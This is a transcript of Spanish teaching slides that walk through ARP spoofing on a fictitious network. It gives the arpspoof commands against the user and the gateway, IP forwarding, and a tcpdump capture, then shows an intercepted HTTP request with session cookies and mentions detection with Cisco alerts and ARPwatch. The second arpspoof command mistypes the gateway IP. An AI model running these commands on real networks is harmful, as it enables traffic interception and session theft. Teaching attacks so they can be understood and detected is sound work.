Como hacer arp spoofing e
Transcript of Como hacer arp spoofing e
![Page 1: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/1.jpg)
Como hacer ARP
SpoofingClase 5 E
21/03/2013
![Page 2: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/2.jpg)
Como hacer ARP Spoofing
Una de mejores formas de solucionar un problema, es saber cual es y creo
que no hay mejor forma de entenderlo que intentar hacerlo. Hoy vamos a
ver como hacer ARP Spoofing (también llamado ARP Poisoning)
![Page 3: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/3.jpg)
Esquema inicial
![Page 4: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/4.jpg)
Como hacer ARP Spoofing
Vamos a suponer una red ficticia: 172.16.0.0/12, en la cual el gateway esta
en la 172.16.0.1 y existen dos hosts: 172.16.0.2 (el usuario) y 172.16.0.3 (el
atacante)
Para simplificar, la MAC de los equipos corresponderá a el último byte de
la IP. Por ejemplo, si la IP es 172.16.0.1, asumiremos que si MAC es
00:00:00:00:00:01
![Page 5: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/5.jpg)
Como hacer ARP Spoofing
Mediante arpspoof podemos realizar el spoofing mediante los siguientes
parámetros:
-i: interfaz en el que haremos el spoofing
-t: El target a quien le vamos a decir nuestra MAC
La IP del host que queremos suplantar
![Page 6: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/6.jpg)
Como hacer ARP Spoofing
Para evitar que se corte el trafico del usuario deberemos activar IP
forwarding. Simplemente deberemos hacer un echo al proc:
echo 1 > /proc/sys/net/ipv4/ip_forward
![Page 7: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/7.jpg)
Como hacer ARP Spoofing
A continuación deberemos envenenar la tabla ARP de tanto el gateway
como el usuario para obtener hacer pasar el tráfico por el sistema del
atacante en ambas direcciones:
arpspoof -i eth0 -t 172.16.0.2 172.16.0.1
![Page 8: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/8.jpg)
Envenenando la tabla ARP del usuario
![Page 9: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/9.jpg)
Como hacer ARP Spoofing
A continuación hacemos lo mismo (en paralelo) con el gateway:
arpspoof -i eth0 -t 172.10.0.1 172.16.0.2
![Page 10: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/10.jpg)
Envenenando la tabla ARP del gateway
![Page 11: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/11.jpg)
Como hacer ARP Spoofing
Con esto ya podemos hacer un tcpdump en el equipo atacante para
capturar todo el tráfico del usuario:
tcpdump -nni eth0 'host 172.16.0.2' -s 0 -w /tmp/all.your.packet.are.belong.to.us
![Page 12: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/12.jpg)
Equipo haciendo ARP Spoofing
![Page 13: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/13.jpg)
Como hacer ARP Spoofing Un ejemplo de tráfico HTTP que podríamos ver sería:
GET http://www.google.es/search?hl=es&source=hp&q=HOLA&btnG=Buscar+con+Google&meta=&aq=f&oq=
HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.6; Google-TR-5.9.911.3589-es) Gecko/20091201
Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.google.com/
Cookie: SS=Q0=bWFuIG5j;
PREF=ID=0d7e92f0a892dcdb:U=a0d7411c93a9da83:TM=1261735618:LM=1261735947:S=usa2aENTuGjs6433;
NID=30=E85Pp_GbpOrzO3dZsK8DqZiZ08XdR-C8BuJ3sEFDN5DHuw2TY8ew0a_QE_q8R6XNDEE439iNspdpZUOLexoMb
jHOcepayTpXPMwsxFNgAK951t59ZSaXI0qNxq0xQ0wg; SID=DQAAAIUAAACDMrYRGnoD5BYlPIKfMF1oOgds-
T_bIw7Ynjy6wVbkOIDSglRTdglRiVY8VFb44ndsuboemg6oMecz-
a8y8bprLcUh0U0Kkij68JSc2aYCyldfKVIZyO518ywtcjTvozNh9v3Vrvf25OwTypC9F9h
4oUWfQnHxY6AGpcPtecNo1f4QvHD3maLGRuh-uE89Ju8; HSID=AX3Vf3Lm0i2yz9st-
![Page 14: Como hacer arp spoofing e](https://reader034.fdocuments.co/reader034/viewer/2022042607/559f7c1e1a28abf6388b4590/html5/thumbnails/14.jpg)
Como hacer ARP Spoofing
En equipos CISCO en este tipo de ataques se generaría
una alerta similar a la siguiente:
Dec 31 09:53:10 MET: %SW_MATM-4-MACFLAP_NOTIF:
Host 000a.aaac.007f in vlan 10 is flapping between port
Gi0/1 and port Gi0/2
Existen diferentes herramientas para detectar este tipo
de ataques, siendo el más conocido el ARPwatch.